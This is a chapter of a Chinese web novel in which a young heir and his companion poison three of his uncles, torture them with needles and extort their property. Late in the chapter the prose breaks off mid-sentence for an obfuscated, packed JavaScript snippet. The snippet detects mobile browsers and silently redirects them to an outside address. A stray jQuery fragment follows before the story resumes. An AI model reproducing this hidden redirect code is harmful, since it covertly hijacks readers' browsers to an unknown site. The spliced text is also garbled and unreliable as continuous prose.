“什么!你疯了!我是你叔叔!”
听着王三叔说着跟王二叔一样的话,叶圆圆忍不住地笑了出来。
“你个小厮!你笑什么!”
瞧着王三叔这般厉声的模样,叶圆圆依旧笑着,“还请三老爷等等。”
说罢,就见这小厮转身出去,片刻后,一手各拎着一个蒙面男人进了屋。
王三叔睁大眼睛,惊讶这府中居然还有这样一位小厮,赶忙看向晏照安问道:“这是谁呀?”
叶圆圆还以为王三叔是问蒙面人,直接把两人的头罩摘了下来。
“二哥?四弟?”当王三叔看清人脸时,眼睛瞪得更大了。
王二叔疯狂地点头,却一点声音也发不出来。
而王四叔是一脸的不屈,瞪着屋内所有的人。
叶圆圆上前松了两人的针,只听王二叔立马大喊起来,“来人啊!”
“二叔,人都去救火了。”晏照安揉了揉耳朵,一脸的不屑。
“你究竟要干什么!我是你的叔叔!”
“二叔别急,我们一家人难得有时间交心,三叔和四叔也说说吧。”
“说什么?”王四叔开口,态度强硬,“说你个不忠不孝的,烧了我锦都的拂柳阁吗?”
“三叔,你说呢?”晏照安笑了笑,看向很久没有说话的王三叔。
“哼!”王三叔冷哼了一声,学着王四叔的语气,“说什么?说你让官府冤了我小莲城的拂柳阁吗?”
“哦……”晏照安意味深长地应了一声,“二叔呢?”
不等王二叔搭话,晏照安自己继续说着:“我记得我没毁二叔的哪家拂柳阁吧?怎么偏偏二叔最先动手呢?”
“你胡说什么?”王二叔侧过头,不再大喊大叫。
晏照安嘴角噙着一抹预料之中的笑意,突然说了句毫不相关的话,“几位叔叔,可觉得难受了?”
经晏照安这么提醒,王二叔和王三叔的脸色变了变,只觉得腹中疼痛,还越来越明显,唯独王四叔沉着脸,看不出神色。
“几位叔叔,这毒可是很折磨人的。”
晏照安随意拿起房中的茶杯,嚣张地在手中玩转着。
“晏照安。”王三叔突然变得平静,淡淡开口:“我就不信,你真的敢杀你的亲叔叔。”
“三叔,你看看我。”晏照安靠近了王三叔,“我现在就是个府中的下人,晏大少爷现在还在房中呢,那院子里的人都能证明。”
“一个下人为了个人仇怨,杀死三位老爷,后投案自首,被官府判处砍头,这事盛传在街头巷尾,几个月后又被人遗忘,这故事怎么样?”
晏照安说罢,笑看着王三叔。
“你!”王三叔咬着后槽牙,暗道:这晏照安运气真好,那会易容的都是些江湖术士,不仅行踪难测,技艺还从不外传,居然能让晏照安收服了一个。转而怨恨地说道:“难道你就不怕你父亲回来责问你吗?”
“我父亲?”晏照安的眼神突然变得迷惘,“几位叔叔知道我父亲在哪吗?”
“不是去远行了吗?”王四叔挑了挑眉看着晏照安。
晏照安听闻冷笑了两声,转过头看向叶圆圆,少女心领神会地上前,一针下去。
哐!
看着王四叔直挺挺倒下时,带起的一丝尘土,王二叔和王三叔竟还下意识地咳了两声。
“二叔、三叔,四叔的脑子不好,还是我们聊吧。”
听闻晏照安的话语,二位叔叔黑着脸,都没说话,安静地等着。
“二叔,你和官府合作,想用香囊毒害全家,从而诬陷我。”
王二叔的脸色变了变,也不知道是因为腹痛,还是因为晏照安说对了。
见王二叔没说话,晏照安又看向王三叔,“三叔,你就比二叔聪明多了。”
“只等我被抓进官府,你下的剧毒就会毒发,到时候小欧阳大人调查起来,会发现马缰绳上的毒,是二少爷指使。”
王二叔惊讶地看向王三叔,还没等开口,只听晏照安继续说道:“但我觉得,最聪明的却是小欧阳大人。”
“此话怎么说?”王三叔皱起眉,第一次如此郑重地打量起自己眼前的这个大侄子。
“小欧阳大人查到二叔这里,算是结了我中毒的案子,可之前全家中毒的案子还没有结,三叔你说,他在查二少爷的时候,会不会放点在什么在你的院中?”
“哼!笑话!”王三叔不以为然,“几句猜测而已。”
晏照安笑了笑,“我知道两位叔叔不信,所以我就把叔叔们的种种行径,写了份状纸,随时可以递到官府,让小欧阳大人来查。现在就看两位叔叔要不要用全家人的前程去试了?”
叶圆圆适时地走上前,从怀中掏出状纸,展开放到王三叔的眼前,等王三叔读完,又放到王二叔的眼前。
两人读完,阴沉着脸,还是王三叔先恢复了往常那副随和的模样,开了口:“照安,不论我们怎么斗,都是自家人的事,你不该次次递到官府吧。”
“三叔,你小莲城的事,要是让我父亲知道了,恐怕不止是我处理的那么简单吧?”
王三叔听到这话,脸色又变得阴沉下来,带着不屑,“你觉得我当真就那么怕你父亲吗?”
晏照安笑着再次看向叶圆圆,只见少女点点头,按住王三叔,在人身上的几个穴位扎了几针。
“你,你!”王三叔瞬间脸色惨白,“你!”了半天却痛得连话都说不完整。
过了良久,叶圆圆才把针拔出来。
“三叔,你不怕我父亲,也得救你自己的命啊,别忘了你们身上的毒。”晏照安挑了挑眉毛,继续说道:“这毒啊,解不了,必须每隔一段时间吃一颗解药,若是没有吃解药,就会像刚刚那样剧痛难忍,最后不是毒死的,是活活疼死的。”
“当然,两位叔叔可以不信,那就等你们被疼死,我再对付几个弟弟,倒是更简单了。”
晏照安说完,还颇为期待地笑了笑。
叶圆圆在一旁听得满眼震惊,这毒听起来还真厉害,不自觉地想着,世上真有这种毒吗?反正她研制不出来。
王二叔虽没有感受到那份疼痛,但脸也同样有些发白,叶圆圆见此,干脆上前也让王二叔体验了一会。
“你,你说,你要我干什么?”
体验后的王二叔率先服了软。
晏照安笑着,“二叔,你自己说呢?”
“我自己说?”王二叔惊讶的表情,只觉得晏照安此刻就是在诈他,但看着拿着针的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127807|180134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶圆圆再度靠近了,赶忙说道:“我把手中的势力都给你!但你每月要供我们院子的花销!”
“没问题。”
“请吧,二老爷。”叶圆圆说着话,先是一针扎哑了王二叔,随后把人拎出屋子。
看着两人出去,屋内沉默下来。
晏照安也没急,慢慢等着。
直到两人再次回来,叶圆圆的手中拿着一方木盒,当着王三叔的面打开,里面都是些地契身契和立契。
晏照安满意地点点头,看向王三叔。
叶圆圆则收好木盒,回头一把药粉塞进了王二叔嘴里。
“这是干什么!我都交给你了。”
晏照安没理二叔的喊叫,反倒拿出扁壶,打开瓶塞故意在三叔的鼻子前掠过,灌进二叔的嘴里。
“你!”
“嘘!”晏照安比了个噤声的手势,屋内瞬间安静下来,直到王二叔一口鲜血吐了出来。
男人掰过王三叔的脸,叶圆圆顶着王三叔的目光又给王二叔喂下解药。
“三叔,这毒你熟悉吧?你的人找了多久来着,可我的人马上就能解。你说说你身上的毒,你的人够时间去解吗?”
王三叔沉默着,观察起王二叔的呼吸,过了片刻,发现王二叔确实还活着。
晏照安没给王三叔更多的时间,直接问道:“三叔每月想要多少银两?”
“哼。”王三叔冷笑了一声,“我看起来有你二叔那个废物这么好对付吗,我怕死吗?”
晏照安坐到王三叔面前,叹了口气,“哦,三叔既又不怕死了,那我们就再聊聊状纸。”
“你!你也是拂柳阁的大少爷,没了拂柳阁,你能好过到哪去!”
“三叔说得对。”晏照安认同地点点头,“可三叔别忘了,我姓晏,没了拂柳阁,还有外祖家……”
看着王三叔的慌张,晏照安笑着继续说下去,“到时候,我还是个富家少爷,可三叔就不知道要躺在哪里了。”
……
“呱,呱。”
夜深了,窗外的蛙鸣不断,晏照安看着眼前的两个木盒,“三叔,你这强取豪夺的事可不少呀。”
“晏照安,你最好说话算话。”
“放心。”晏照安说完,叶圆圆一针扎晕了王三叔,随后看着地上的王四叔,使了使眼色给晏照安。
“四叔,可听够了?”
看着王四叔原地蹦起,晏照安把盒子中的一些罪证挑了出来,递到四叔眼前。
王四叔匆匆扫过那些纸,叹了一口气,“你等会。”
只见人大步离开,又大步走了回来,手中同样一个木盒递到晏照安面前,“就这些,除了城外的马场……”
晏照安想起叶圆圆同他说的话,保证道:“四叔放心,那马场我绝不会惦记。”
“好。”王四叔此刻有了几分笑模样,疑惑地开口:“那毒?江湖上我可没听说过。”
“四叔,毒和解药都在刘大夫手中,定时下,定时解,一切拜托四叔了。”晏照安说着话,深深地一拱手。
王四叔摆摆手,“我可不是为你了,是为了整个家,如果继续让二哥三哥这样争下去……”
看着四叔没再说下去,晏照安也点点头,“明白!”